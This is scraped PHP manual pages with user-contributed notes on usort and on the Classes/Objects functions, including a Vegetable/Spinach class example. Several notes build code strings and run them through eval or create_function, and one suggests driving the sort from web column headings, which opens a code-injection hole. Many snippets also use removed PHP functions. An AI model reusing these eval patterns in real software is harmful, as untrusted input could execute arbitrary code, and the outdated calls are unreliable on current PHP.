?>
mharrodine AT blue yonder DOT co-uk 11-Dec-2002 04:46
I like to define my arrays to look like tables in a database or spreadsheet as follows (it looks tidy is the only reason!):

Row(s)  Column(s) ------------->
   |        $array[0] = array("1", "2","3");
   |        $array[1] = array("1", "2","3");
   \/       $array[2] = array("1", "2","3");

This "array of arrays" seems to behave differently to normal associative or multi-dimension arrays when sorting but using franky's routine....

<?php
function cmp ($a, $b)
{
global $w_o;
if ($a[$w_o] == $b[$w_o]) return 0;
return ($a[$w_o] < $b[$w_o]) ? -1 : 1;
}
?>

...you simply specify the column you want to sort by defining $w_o and call "usort($my_array,"cmp");". This might seem obvious to some people but wasn't to me and I hope this helps others in the same situation. Thanks....
jfren484 AT hotmail DOT com 24-Oct-2002 04:37
If you've used ADO before, you may have used the Sort property on a recordset.  It's very powerful - you can add a nice ORDER BY clause after getting the recordset from the database.  It's especially helpful if you want to show a list on a web page and make the column headings links that cause the list to resort on that column.

I wanted to do the same thing with mysql recordsets, but it looks like you have to have the ORDER BY in your query.  I re-worked the example from johan_land at yahoo dot com above for sorting multidimensional arrays.  When I get a mysql recordset, I create an array with all of the records like this:

<?php
$aaRows[]    = array();
if (mysql_num_rows($rsRows) > 0)
    while ($aRow = mysql_fetch_array($rsRows, MYSQL_ASSOC))
        $aaRows[]    = $aRow;
?>

At this point $aaRows is an array of arrays - it's a numeric-indexed array containing records from the recordset, which themselves are associative arrays.  The following code takes the array of records as the first parameter, and an array of fields to sort - each field is an associative array, where 'name' is the db field name, and 'dir' is the direction to sort.  If dir is 'DESC' (case-insensitive), it will sort descending.  Any other value (including not setting one) will cause it to sort ascending.

<?php
function sortRows(&$a_aaRows, $a_aaSortCriteria)
{
    GLOBAL    $g_aaSortArray;

    function compare($a_aRow1, $a_aRow2, $a_lField = 0)
    {
        GLOBAL    $g_aaSortArray;

        $lCompareVal    = 0;

        if ($a_lField < count($g_aaSortArray))
        {
            $sSortFieldName    = $g_aaSortArray[$a_lField]['name'];
            $sSortFieldDir    = $g_aaSortArray[$a_lField]['dir'];

            $vValue1    = eval('return $a_aRow1[' . $sSortFieldName . '];');
            $vValue2    = eval('return $a_aRow2[' . $sSortFieldName . '];');

            if ($vValue1 == $vValue2)
                $lCompareVal    = compare($a_aRow1, $a_aRow2, $a_lField + 1);
            else
            {
                $lCompareVal    =    $vValue1 > $vValue2 ? 1 : -1;
                if (strtolower(substr($sSortFieldDir, 0, 4)) == 'desc')
                    $lCompareVal    = -$lCompareVal;
            }
        }

        return $lCompareVal;
    }

    $g_aaSortArray    = $a_aaSortCriteria;
    usort($a_aaRows, 'compare');
}
?>

When I call it it looks something like this:

<?php
sortRows($aaRows, array(array('name' => 'STATE', 'dir' => 'ASC'), array('name' => 'CITY', 'dir' => 'DESC')));
?>
mkr at binarywerks dot dk 20-Sep-2002 09:29
If you want to sort an array according to another array acting as a priority list, you can use this function.

<?php
function listcmp($a, $b)
{
  global $order;

  foreach($order as $key => $value)
    {
      if($a==$value)
        {
          return 0;
          break;
        }

      if($b==$value)
        {
          return 1;
          break;
        }
    }
}

$order[0] = "first";
$order[1] = "second";
$order[2] = "third";

$array[0] = "second";
$array[1] = "first";
$array[2] = "third";
$array[3] = "fourth";
$array[4] = "second";
$array[5] = "first";
$array[6] = "second";

usort($array, "listcmp");

print_r($array);
?>
simen at NO_SPAM_AT_ALLbleed dot no 06-Aug-2002 01:16
To sort a list of objects either ascending (a) or descending (d) using key use the function below for comparison.

<?php
function property_sort($oa, $ob) {
    global $sort_key;
    global $sort_dir;

    $a = strtolower($oa->$sort_key);
    $b = strtolower($ob->$sort_key);

    if ($a == $b) {
        return 0;
    } else if (($a > $b && $sort_dir == "a") || ($a < $b && $sort_dir == "d")) {
        return 1;
    } else {
        return -1;
    }
}
?>
prozac at iguanasoft dot com 15-Jul-2002 05:55
Here is a simple example of converting a timestamp date("U") into a date. This sorts by that day and then by string value alphabetically.

I hope it saves someone some time... Happy PHP'in!

<?php
//data to sort
$shared[0]["page_id"] = "2025731470";
$shared[1]["page_id"] = "2025731450";
$shared[2]["page_id"] = "1025731456";
$shared[3]["page_id"] = "1025731460";
$shared[0]["username"] = "larry";
$shared[1]["username"] = "alvin";
$shared[2]["username"] = "garth";
$shared[3]["username"] = "harvy";

//function to convert timestamp to date
function convert_timestamp($timestamp){
    $limit=date("U");
    $limiting=$timestamp-$limit;
    return date ("Ymd", mktime (0,0,$limiting));
}
//comparison function
function cmp ($a, $b) {
    $l=convert_timestamp($a["page_id"]);
    $k=convert_timestamp($b["page_id"]);
    if($k==$l){
        return strcmp($a["username"], $b["username"]);
    }else{
        return strcmp($k, $l);
    }
}

//sort array
usort($shared, "cmp");

//display sorted info
while (list ($key, $value) = each ($shared)) {
    echo "\$shared[$key]: ";
    echo $value["page_id"];
    echo " username: ";
    echo $value["username"];
    echo "<break_tag>";
}
?>

This will output:
$shared[0]: 2025731450   username: alvin
$shared[1]: 2025731470   username: larry
$shared[2]: 1025731456   username: garth
$shared[3]: 1025731460   username: harvy
alex at netflex dot nl 02-Jul-2002 04:10
This function will sort on more then one values, test and have fun

<pre>
<?php

  $array[0]['name'] = "a";
  $array[0]['id'] = 3;

  $array[1]['name'] = "a";
  $array[1]['id'] = 2;

  $array[2]['name'] = "a";
  $array[2]['id'] = 5;

  $array[3]['name'] = "b";
  $array[3]['id'] = 8;

  $array[4]['name'] = "b";
  $array[4]['id'] = 1;

  $array[5]['name'] = "b";
  $array[5]['id'] = 0;

  $array[6]['name'] = "c";
  $array[6]['id'] = 5;

  $array[7]['name'] = "c";
  $array[7]['id'] = 7;

  $array[8]['name'] = "c";
  $array[8]['id'] = 3;

  print_r($array);

  $sort_array[0]['name'] = "name";
  $sort_array[0]['sort'] = "ASC";
  $sort_array[0]['case'] = TRUE;

  $sort_array[1]['name'] = "id";
  $sort_array[1]['case'] = FALSE;

  sortx($array, $sort_array);

  print_r($array);

  function sortx(&$array, $sort = array()) {
    $function = '';
    while (list($key) = each($sort)) {
      if (isset($sort[$key]['case'])&&($sort[$key]['case'] == TRUE)) {
        $function .= 'if (strtolower($a["' . $sort[$key]['name'] . '"])<>strtolower($b["' . $sort[$key]['name'] . '"])) { return (strtolower($a["' . $sort[$key]['name'] . '"]) ';
      } else {
        $function .= 'if ($a["' . $sort[$key]['name'] . '"]<>$b["' . $sort[$key]['name'] . '"]) { return ($a["' . $sort[$key]['name'] . '"] ';
      }
      if (isset($sort[$key]['sort'])&&($sort[$key]['sort'] == "DESC")) {
        $function .= '<';
      } else {
        $function .= '>';
      }
      if (isset($sort[$key]['case'])&&($sort[$key]['case'] == TRUE)) {
        $function .= ' strtolower($b["' . $sort[$key]['name'] . '"])) ? 1 : -1; } else';
      } else {
        $function .= ' $b["' . $sort[$key]['name'] . '"]) ? 1 : -1; } else';
      }
    }
    $function .= ' { return 0; }';
    usort($array, create_function('$a, $b', $function));
  }

?>
</pre>
graham at irwin dot org 15-Jan-2002 08:28
Example 3 above does not work with 4.0.4pl1, unless you write the uasort line as follows:
uasort($a, array ($a[0], "cmp_obj"));

(I assume any instance of the object: a[0] or a[1] or a[2] would work as well)

It does not work at all with associative arrays of objects.
xnoguer at rezebra dot com 25-Sep-2001 11:48
just for debugging purposes, usort does not complain if its argument function is not defined, i.e.:

<?php usort($my_array,"non existant function"); ?>

will not do anything...
josh at wintelcom dot net 24-Aug-2001 06:58
This lets you sort an associative multi-dimensional array by multiple key/field names.  Much similiar to the SQL clause ORDER BY.  Enjoy.

<?php
function cmp ($a, $b) {

    // Populate this array with your values...
    // Below is the SQL equivalent of
    // select * from blah ORDER BY date desc, type asc, name asc

    $vals = array(
        'date' => 'd',
        'type' => 'a',
        'name' => 'a'
    );

    while(list($key, $val) = each($vals)) {

        if($val == "d") {
            if ($a["$key"] > $b["$key"]) {
                return -1;
            }
            if ($a["$key"] < $b["$key"]) {
                return 1;
            }
        }

        if($val == "a") {
            if ($a["$key"] < $b["$key"]) {
                return -1;
            }
            if($a["$key"] > $b["$key"]) {
                return 1;
            }
        }

    }

}
?>
franky at iname dot com 17-Jul-2001 03:08
For sort multi-array by specific index

<?php
function cmp ($a, $b)
{
 global $w_o;
 if ($a[$w_o] == $b[$w_o]) return 0;
 return ($a[$w_o] < $b[$w_o]) ? -1 : 1;
}
# the index is the second element of
# each row

$w_o =1;
usort($my_arry_info,"cmp");
?>
johan_land at yahoo dot com 29-Jun-2001 05:23
These functions will sort an array by more than one element. The elements to sort by is specified in $sortArr. If you eg. want to sort by $destArr[]["sortBy2"][0] you add '["sortBy2"][0]' to $sortArr. Use it as much as you want!! If you modify it, please let me know...

<?php
//The functions
function compare($a, $b) {
    return cmpRec(0, $a, $b);
}

function cmpRec($i, $a, $b) {
    global $sortArr;
    if($i == sizeof($sortArr)) {
        return 0;
    }
    $avalue = '$avalue = $a'.$sortArr[$i].';';
    $bvalue = '$bvalue = $b'.$sortArr[$i].';';
    eval($avalue);
    eval($bvalue);
        if($avalue == $bvalue) {
        return cmpRec($i+1, $a, $b);
    } else {
        return ($avalue > $bvalue) ? (1) : (-1);
    }
}

//For testing the functions
$destArr = array( array( "sortBy1" => 2, "sortBy2" => array( "Fish", "eat seafood" )), array( "sortBy1" => 1, "sortBy2" => array( "Lions", "eat everything" )), array( "sortBy1" => 1, "sortBy2" => array( "Bird", "eat birdfood" )) );
$sortArr = array( '["sortBy1"]', '["sortBy2"][0]' );
print_r($destArr);
usort($destArr, "compare");
reset($destArr);
print_r($destArr);
?>
bo at erichsen dot com 20-Mar-2001 05:16
when using usort to refer to a function inside a class i have succesfully used:

<?php usort($myarray,array($this,"cmp")); ?>
derek at luddite dot net 18-Sep-2000 11:35
Needed a date sort and I didn't know if one was available so I wrote one. Maybe it'll help someone:

<?php
function DateSort($a,$b,$d="-") {
    if ($a == $b) {
        return 0;
    } else {  //Convert into dates and compare
        list($am,$ad,$ay)=split($d,$a);
        list($bm,$bd,$by)=split($d,$b);
        if (mktime(0,0,0,$am,$ad,$ay) < mktime(0,0,0,$bm,$bd,$by)) {
            return -1;
        } else {
            return 1;
        }
    }
}
?>

$d is the delimeter
uksort
Classes/Objects
Array Functions


Class/Object Information

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Classes/Object Functions
    • __autoload — Attempt to load undefined class
    • call_user_method_array — Call a user method given with an array of parameters [deprecated]
    • call_user_method — Call a user method on an specific object [deprecated]
    • class_alias — Creates an alias for a class
    • class_exists — Checks if the class has been defined
    • get_called_class — the "Late Static Binding" class name
    • get_class_methods — Gets the class methods' names
    • get_class_vars — Get the default properties of the class
    • get_class — Returns the name of the class of an object
    • get_declared_classes — Returns an array with the name of the defined classes
    • get_declared_interfaces — Returns an array of all declared interfaces
    • get_declared_traits — Returns an array of all declared traits
    • get_object_vars — Gets the properties of the given object
    • get_parent_class — Retrieves the parent class name for object or class
    • interface_exists — Checks if the interface has been defined
    • is_a — Checks if the object is of this class or has this class as one of its parents
    • is_subclass_of — Checks if the object has this class as one of its parents
    • method_exists — Checks if the class method exists
    • property_exists — Checks if the object or class has a property
    • trait_exists — Checks if the trait exists

User Contributed Notes

There are no user contributed notes for this page.
usort
Introduction
Variable and Type Related Extensions


Introduction

These functions allow you to obtain information about classes and instance objects. You can obtain the name of the class to which an object belongs, as well as its member properties and methods. Using these functions, you can find out not only the class membership of an object, but also its parentage (i.e. what class is the object class extending).

User Contributed Notes

There are no user contributed notes for this page.
Classes/Objects
Installing/Configuring
Classes/Objects


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Classes/Objects


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Classes/Objects


Examples

In this example, we first define a base class and an extension of the class. The base class describes a general vegetable, whether it is edible or not and what is its color. The subclass Spinach adds a method to cook it and another to find out if it is cooked.

Example #1 classes.inc

<?php

// base class with member properties and methods
class Vegetable {

   var $edible;
   var $color;

   function Vegetable($edible, $color="green")
   {
       $this->edible = $edible;
       $this->color = $color;
   }

   function is_edible()
   {
       return $this->edible;
   }

   function what_color()
   {
       return $this->color;
   }

} // end of class Vegetable

// extends the base class
class Spinach extends Vegetable {

   var $cooked = false;

   function Spinach()
   {
       $this->Vegetable(true, "green");
   }

   function cook_it()
   {
       $this->cooked = true;
   }

   function is_cooked()
   {
       return $this->cooked;
   }

} // end of class Spinach

?>

We then instantiate 2 objects from these classes and print out information about them, including their class parentage. We also define some utility functions, mainly to have a nice printout of the variables.

Example #2 test_script.php

<pre>
<?php

include "classes.inc";

// utility functions

function print_vars($obj)
{
foreach (get_object_vars($obj) as $prop => $val) {
    echo "\t$prop = $val\n";
}
}

function print_methods($obj)
{
$arr = get_class_methods(get_class($obj));
foreach ($arr as $method) {
    echo "\tfunction $method()\n";
}
}

function class_parentage($obj, $class)
{
if (is_subclass_of($GLOBALS[$obj], $class)) {
    echo "Object $obj belongs to class " . get_class($$obj);
    echo " a subclass of $class\n";
} else {
    echo "Object $obj does not belong to a subclass of $class\n";
}
}

// instantiate 2 objects

$veggie = new Vegetable(true, "blue");
$leafy = new Spinach();

// print out information about objects
echo "veggie: CLASS " . get_class($veggie) . "\n";
echo "leafy: CLASS " . get_class($leafy);
echo ", PARENT " . get_parent_class($leafy) . "\n";

// show veggie properties
echo "\nveggie: Properties\n";
print_vars($veggie);

// and leafy methods
echo "\nleafy: Methods\n";
print_methods($leafy);

echo "\nParentage:\n";
class_parentage("leafy", "Spinach");
class_parentage("leafy", "Vegetable");
?>
</pre>

One important thing to note in the example above is that the object $leafy is an instance of the class Spinach which is a subclass of Vegetable, therefore the last part of the script above will output:

   [...]
Parentage:
Object leafy does not belong to a subclass of Spinach
Object leafy belongs to class spinach a subclass of Vegetable

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Classes/Object Functions
Classes/Objects


Classes/Object Functions

Table of Contents

  • __autoload — Attempt to load undefined class
  • call_user_method_array — Call a user method given with an array of parameters [deprecated]
  • call_user_method — Call a user method on an specific object [deprecated]
  • class_alias — Creates an alias for a class
  • class_exists — Checks if the class has been defined
  • get_called_class — the "Late Static Binding" class name
  • get_class_methods — Gets the class methods' names
  • get_class_vars — Get the default properties of the class
  • get_class — Returns the name of the class of an object
  • get_declared_classes — Returns an array with the name of the defined classes
  • get_declared_interfaces — Returns an array of all declared interfaces
  • get_declared_traits — Returns an array of all declared traits
  • get_object_vars — Gets the properties of the given object
  • get_parent_class — Retrieves the parent class name for object or class
  • interface_exists — Checks if the interface has been defined
  • is_a — Checks if the object is of this class or has this class as one of its parents
  • is_subclass_of — Checks if the object has this class as one of its parents
  • method_exists — Checks if the class method exists
  • property_exists — Checks if the object or class has a property
  • trait_exists — Checks if the trait exists

User Contributed Notes

Skydev 05-Jan-2011 11:40
A small function that allows finding all references to the object. Written in 3 minutes and may be buggy (for ex pass object as reference in some places?)

<?php
function find_ref_obj($object, $obj, $path) {
    if (in_array($obj,$GLOBALS['__REF_CHECKED'],true))
        return false;
    $GLOBALS['__REF_CHECKED'][]=$obj;
    $r = array();
    foreach ((array)$obj as $k => $v) {
        if ($v === $object)
            $r[] = $path . "->$k";
        if (is_object($v)) {
            $t = find_ref_obj($object,$v,$path . "->$k");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
        else if (is_array($v)) {
            $t = find_ref_arr($object,$v,$path . "->$k");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
    }
    if (empty($r))
        return false;
    else
        return $r;
}
function find_ref_arr($object, $arr, $path) {
    if (in_array($arr,$GLOBALS['__REF_CHECKED'],true))
        return false;
    $GLOBALS['__REF_CHECKED'][]=$arr;
    $r = array();
    foreach ($arr as $k => $v) {
        if ($v === $object)
            $r[] = $path . "['$k']";
        if (is_object($v)) {
            $t = find_ref_obj($object,$v,$path . "['$k']");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
        else if (is_array($v)) {
            $t = find_ref_arr($object,$v,$path . "['$k']");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
    }
    if (empty($r))
        return false;
    else
        return $r;
}
function find_references($object) {
    $r = array();
    $GLOBALS['__REF_CHECKED']=array();
    foreach ($GLOBALS as $n => $v)
    if ($n!='__REF_CHECKED')
    if ($n!='GLOBALS') {
        if ($v === $object)
            $r[]=$n;
        if (is_object($v)) {
            $t = find_ref_obj($object,$v,$n);
            if ($t!==false)
                $r=array_merge($r,$t);
        }
        else if (is_array($v)) {
            $t = find_ref_arr($object,$v,$n);
            if ($t!==false)
                $r=array_merge($r,$t);
        }
    }
    unset($GLOBALS['__REF_CHECKED']);
    return $r;
}

function find_refs($object) {
    return implode(', ',find_references($object));
}
?>
Dennis 01-Jul-2010 04:04
We have an array with many objects in a style like

<?php

$step = new StepModel(1); // if the StepModel id is "1"
$demand = $step->getDemand(); // returns DemandModel
$step2 = $demand->getCustomer(); // returns StepModel
$demand2 = $step2->getDemand(); // returns DemandModel

// [ ... ]

?>

$step and $step2 can be the same objects. So we have an recursive array. Now we need to know if $step == $step2 or $step === $step2. In other words: We need to know the php internal resource ids.

Because there is no function in php api, we made the following function.

Be careful: In our case, all objects have as first attribute ["id":protected]. If your objects are different from this, you need to edit $pattern.

Warning: function is very slow and should only be called if it's necessary for debugging reasons:

<?php

/**
 * returns resource- and object-ids of all objects in an array
 *
 * @param array $array
 * @return array
 */
function getObjectInformation(Array $array)
{
    // start output-buffering
    ob_start();

    // create an var_dump of $array
    var_dump($array);

    // save the dump in var $dump
    $dump = ob_get_contents();

    // clean the output-buffer
    ob_end_clean();

    // delete white-spaces
    $dump = str_replace(' ', '', $dump);

    // define the regex-pattern
    // in our case, all objects look like this:
    //
    // object(ClassName)#1(1){
    // ["id":protected]=>
    // string(1)"1"
    $pattern  = '/object\(([a-zA-Z0-9]+)\)#([0-9]+)\([0-9]+\){\\n';
    $pattern .= '\["id":protected\]=>\\n';
    $pattern .= 'string\([0-9]+\)"([v]?[0-9]+)"/im';

    // search for all matches
    preg_match_all($pattern, $dump, $regs);

    // sort all mathes by class name, object id and then resource id
    array_multisort($regs[1], SORT_ASC, SORT_STRING,
                    $regs[3], SORT_ASC, SORT_NUMERIC,
                    $regs[2], SORT_ASC, SORT_NUMERIC);

    // cache the last match
    $lastMatch = array();

    // the return value
    $return = array();

    // loop through the matches
    for ($i = 0; $i < sizeof($regs[0]); $i ++) {

        // check if the current match was not visited before
        if (0 == sizeof($lastMatch) ||
            $regs[1][$i] != $lastMatch[1] ||
            $regs[2][$i] != $lastMatch[2] ||
            $regs[3][$i] != $lastMatch[3]) {

            // save the match in return value
            array_push($return, array($regs[1][$i],
                                      $regs[2][$i],
                                      $regs[3][$i]));
        }

        // save match in last match cache
        $lastMatch[1] = $regs[1][$i];
        $lastMatch[2] = $regs[2][$i];
        $lastMatch[3] = $regs[3][$i];
    }

    // return all matches
    return $return;
}

?>

I know, it's not that elegant but I hope it's useful for a few people.
zerotwo at bk dot ru 19-Feb-2008 10:50
Sorry for my bad language.

Main class that ad’s other classes from includes

main.php :

define(EXT, '.php');

$config = array(
  'path' => array (
    'data' => 'data/',
    'inc' => 'inc/',
    'lang' => 'lng/',
    'dl' => 'dl/',
  ),
 ...
);

class general {
  private $cfg;
  public $call = array();

  function __construct($configs) {
    global ${"$configs"};
    $this->cfg = $configs;
  }

  function _include($filename) {
    foreach($this->cfg[path] as $dir) {
      if(file_exists($dir.$filename.EXT)) {
        include($dir.$filename.EXT);
        if(class_exists($filename)) {
          $this->call[$filename] = new $filename();
        }
        return true;
      }
    }
  ...
}

$main = new general();

// call profiler->start()

$main->call[profiler]->start();

profiler.php :

class profiler {
// simple profiler
  private $time_start;

  private function get_time() {
    list($usec, $sec) = explode(' ', microtime());
    return ((float)$usec + (float)$sec);
  }

  function start() {
    $this->time_start = $this->get_time();
  }
  function finish() {
    return ($this->get_time() - $this->time_start);
  }
}

index.php :

require('main.php');
...
$main->call[profiler]->finish();

You can edit $config to add path to other directories, and do $main->_include(‘CLASS) and it will include a script and if class named ‘CLASS exist it will create a new class in call[].
You can easily access class $main->call[‘CLASS]

Thank you for reading.
ahigerd at timeips dot com 20-Dec-2007 07:02
To access an object member with an illegal character in the name, use this syntax:

$obj->{'illegal-property:name()'}

This is particularly relevant with the dynamically-generated classes used by, for instance, database objects and the SoapClient class.
pascal dot poncet at netconsult dot com 13-Oct-2005 07:21
Subject: using "sql_calc_found_rows" in a MySQL query while exploiting result in a PHP db class object.

Hello,

There is a nice function in MySQL that allows to know how many records would have been returned if no "where" clause were set : SQL_CALC_FOUND_ROWS.

If you have create a db object to collect the returned lines, you will be a little perplex when trying to call the result of this function.

Why ?
Simply because the returned field's name is "found_rows()" and obviously it's not possible to call something like :

<?php $result->found_rows() ?>

...as it will try to acces a method, not a property !

Then, the only way to get the right result seems to be the use of a class function, like :

<?php
  $db->query("select found_rows()");
  $count=current(get_object_vars(current($db->result)));
?>

Of course, if somebody found an other way to solve it, like a special syntax (see the one used with curled arrays in a string), I'm really open to discuss.

Good luck,
Pascal
ia [AT] zoznam [DOT] sk 02-Aug-2005 10:55
as for zabmilenko's solution:
wouldn't it be better to create it this way?

<?php
// The base class for all db classes
class DB {
 protected $connectId;
}

// Class for MySQL, which extends base class
class MySQL extends DB {
 function connect () {
  $this->connectId = mysql_connect (...);
 }
}

// Class for PostgreSQL, which extends base class
class pgSQL extends DB {
 function connect () {
  $this->connectId = pg_connect (...);
 }
}

// and then call constructor like this:
$dbName = "MySQL";
$db = new $dbName ( ... );
// ... which creates an object of class MySQL
?>
zabmilenko at hotmail dot com 27-Jun-2005 12:08
((PHP5))

I wanted to dynamically choose an extender for a class.  This took awhile of playing with it but I came up with a solution.  Note that I can't verify how safe it is, but it appears to work for me.  Perhaps someone else can shed light on the details:

<?php

class A { var $value = "Class A\n"; }
class B { var $value = "Class B\n"; }

// Uncomment which extender you want.  You can use variables as well.
// define('__EXTENDER__', 'A');
   define('__EXTENDER__', 'B');

// Use eval to create a wrapper class.
eval('class EXTENDER extends '. __EXTENDER__ . ' { }');

class C extends EXTENDER
{
  function __construct()
  {
     echo $this->value;
  }
}

$t = new C;

?>

Outputs:   Class B

Practical application:  I have a database abstraction system that has individual classes for mysql, pgsql, et al.  I want to be able to create a global db class that extends one of the individual db classes depending on the application configuration.

I know that there are probably much better ways of doing this but I haven't reached that level when it comes to classes.
cjones 03-Mar-2005 01:27
If anyone is interested in looking for a way to dynamically load existing objects into a class, here is what I found very useful.

//---------------------------------------------------------
// Dynamically load External Objects into a class

  function objRef ( &$obj ) {
    eval("\$this->obj_".get_class($obj)." = \$obj;");
  }
//---------------------------------------------------------
// Reference by using: $this->obj_[object Name]->[var|f{}]

Example:

class date {  function date ( ) { $this->date = "March 3rd"; } }
class time {  function time ( ) { $this->time = "12:30pm"; } }

class show {
    function objRef ( &$obj ){
        eval("\$this->obj_".get_class($obj)." = \$obj;");
    }
   function test ( $var ){
       echo "$var".$this->obj_date->date." @ ".$this->obj_time->time;
   }
}

$date = new date;
$time = new time;
$show = new show;
    $show->objRef($date);
    $show->objRef($time);
    $show->test("Time Now => ");

// Output: Time Now => March 3rd @ 12:30pm

I found the prefix 'obj_' before the class name useful because it helped me to automatically identify external object references when scanning through my scripts. You can omit this if you want. Hope this helps someone.
http://sc.tri-bit.com/ StoneCypher 02-Mar-2005 10:25
to covertka at muohio dot edu and pillepop2003 at yahoo dot de:

There's a much easier solution to getting a class' name for working with a factory function.  Let's assume you're doing something like this:

<?php

  function FactoryFunction($whatever, $instancedata) {

    switch ($whatever) {
      case 'stuff'      : return new Stuff($instancedata);
      case 'otherstuff' : return new Otherstuff($instancedata);
    }

  }

?>

Now, consider the named parameter idiom and remember that PHP uses hashes for everything; as a result make the following changes:

<?php

  function FactoryFunction($whatever, $instancedata) {

    switch ($whatever) {

      case 'stuff'      : return array('typeis'=>'stuff',      'instance'=>new Stuff($instancedata));
      case 'otherstuff' : return array('typeis'=>'otherstuff', 'instance'=>new Otherstuff($instancedata));

    }

  }

?>

Nice 'n simple.  It seems that what the original poster wanted was something like C++ static data members; unfortunately as PHP4 has no static variables at all, there would need to be significant language change to support static-like behavior.  If you move to PHP5, the static keyword solves your problem cleanly.
covertka at muohio dot edu 02-Jan-2005 05:27
To pillepop2003 at yahoo dot de:

I have the same issue.  I have a base class that manages database tasks for a number of child classes.  One of the functions in the base class is a find() method that returns instances of the child classes.  Since find() is usually called as a static method, it needs to know the name of the child class.  As you've found, this appears to be impossible to get in an easy fashion.

The only way I've found to get the child class name is to use the debug_traceback() function.  This requires me to have a find() method in every child class, but it does work.

Here's an example:

<?php
  require_once("Application.php");

  class parentClass {
    function find() {
      $className = NULL;
      foreach (debug_backtrace() as $bt) {
        if ($bt['function'] == __FUNCTION__) {
          $className = $bt['class'];
        }
      }

      // here should be some code to find the proper id, let's assume it was id 1
      $id = 1;
      return new $className($id);
    }
  }

  class foo extends parentClass {
    function __construct($id) {
      $this->id = id;
    }

    function find() {
      return parent::find();
    }
  }

  class bar extends parentClass {
    function __construct($id) {
      $this->id = id;
    }

    function find() {
      return parent::find();
    }
  }

  $a = foo::find();
  printf("Type for \$a: %s<br/>\n", get_class($a));
  $b = bar::find();
  printf("Type for \$b: %s<br/>\n", get_class($b));
?>
iparanoid at gmx dot de 04-Aug-2004 11:17
To pillepop2003 at yahoo dot de:

It seems to me if there really is no nice way to get the class name in an un-instanciated class, there is a workaround in PHP5 though using static/class variables.

Example:

<?php

class myFoo
{
    static $__ClassName = __CLASS__;

    static function getClassName()
    {
        return myFoo::$__ClassName;
    }
};

class myFooExtended extends myFoo
{
    function __construct()
    {
        myFooExtended::$__ClassName = __CLASS__;
    };
};

?>

However, you'll need to have at least instanciated an object of the class myFooExtended before calling getClassName or introduce some other initialization (the class variable will need to be set at some point to __CLASS__ in the sub-class).
greg at doutromundo dot com 05-Jul-2004 07:58
As programmers, you're probably more organized than me, but, I do try and maintain some order in my classes and codes and separate them in "packages" as in java.
This helped me keep them organized but caused havok when trying to use them, so what I did was to create a class that handles the loading of classes (which I instanciate in all pages) along with my error handling class all bundled up. This way, I can load my classes with a command similar to
$baseClass->loadClass("package","className"[,"constructor"]);

the function responsible for this has some checking to see if they are loaded and stuff like that...

function loadClass($packageName,$className,$constructor=""){
  // if you dont have a constructor declare any function inside
  // the class
  if ($constructor==""){
    $constructor=$className;
  }
  if(!is_callable(array($className,$constructor))){
    if (defined("CLASS_DIR")){
      $pkg = CLASS_DIR.$packageName."/";
        if (is_dir($pkg)){
          // we have a directory with the package name
          $cls = $pkg.$className.".class.php";
          if(is_file($cls)){
            // we have a file
            include_once($cls);
          }else{
            die("Class <b>$className</b> could not be found in package <b>$packageName</b> , please check your instalation");
          }
        }else{
          die("Package <b>$packageName</b> could not be found, please check your instalation");
        }
      }
    }
}

Just remember to define CLASS_DIR as the physical path for the directories where you packages are...

Hope this comes in handy...

Here's an example of a diretory strucutre...
/var/www/classes/   <- this would be CLASS_DIR
in there I have:
package1/
     name.class.php
     name2.class.php
....

The loadClass would look like: loadClass("package1","name");

Cute and easy
ettinger at consultant dot com 18-Jun-2004 04:59
Re: Looking for an uninstantiated class

# Loads data from a table into a class object
class LFPDataFactory extends LFPObject {
        var $object;
        var $class;
        var $table;
        function LFPDataFactory($args) {
                $this->unpackArgs($args); // assigns locals from $args
                if (in_array(strtolower($this->class), get_declared_classes())) {
                        $this->object = new $this->class;
                        // assemble the columns in the table...
                        // select their values and put them in our new object...
                } else { trigger_error("Class ".$this->class." not found", E_USER_ERROR); }
        }
}
$r = new LFPDataFactory("class=LFPLayout,table=layout");
$new_obj = $r->object; // this is a LFPLayout object.
print_r($new_obj);

This class looks to see if the class exists, then instantiates it -- a declared class is not the same as an instantiated class. As long as LFPLayout exists somewhere in the scripts, get_declared_classes() will find it. Remember strtolower on compare, however.

Why would I do this? Because I have my class layouts the same as their respective tables; the factory then selects the data (making sure that the variables match) and plugs in the data. (I've left out the actual code to do the selection/insertion).
HOC 28-May-2004 09:40
to pillepop2003

Why do u want to know the classname of an non-existant object?

The only possible explanation for this question seems to me u want to know the class before u instantiate the object. Well, this is of no use since u always instantiate a class of ur choice.

When the class is instantiated into an object u can find the class of the object by means of get_class(). This is all u need. In case of inheritance u can use get_class($this) to get the class of the instantiated object. Now u can differentiate according to which class the object belongs to.

e.g.:

<?php
class A{
   function A(){
      $class_of_this = get_class($this);
      echo 'Object is an instance of class '.$class_of_this.' which is the ';
      if(strcmp($class_of_this,'A')==0)
         echo 'parent-class';
      else if(strcmp($class_of_this,'B')==0)
         echo 'child-class';
      echo ".\n";
   }
}

class B extends A{
   function B(){
      $this->A();
   }
}

$object1 = new A();
$object2 = new B();
?>

When u run this code-snippet the output will be:

Object is an instance of class A which is the parent-class.
Object is an instance of class B which is the child-class.
ar at 5mm de 28-Aug-2003 07:59
I missed some kind of function to dynamicly override or extend an Object:

-----------------------------------------
function &extendObj(&$obj, $code) {
    static $num = 0;

    $classname = get_class($obj);
    $newclass = $classname.$num;

    eval('class '.$newclass.' extends '.$classname.' { '.$code.' }');

    $newobj = new $newclass();

    $vars = get_class_vars($classname);
    foreach($vars AS $key=>$value) {
        $newobj->$key = &$obj->$key;
    }

    return $newobj;
}
-----------------------------------------

This creates a new class which extends the old one by the given code parameter, instanciates it and copy all vars from the old obj to the new one.

-----------------------------------------
class testA {
    var $prop = 'a';

    function funcA($val) {
        $this->prop = $val;
    }

    function value() {
        return $this->prop;
    }
}

$obj = new testA();

$newobj = &extendObj(&$obj, 'function addX() { $this->prop .= "x"; }');

$newobj->funcA('abc');
$newobj->addX();
echo $newobj->value();
-----------------------------------------

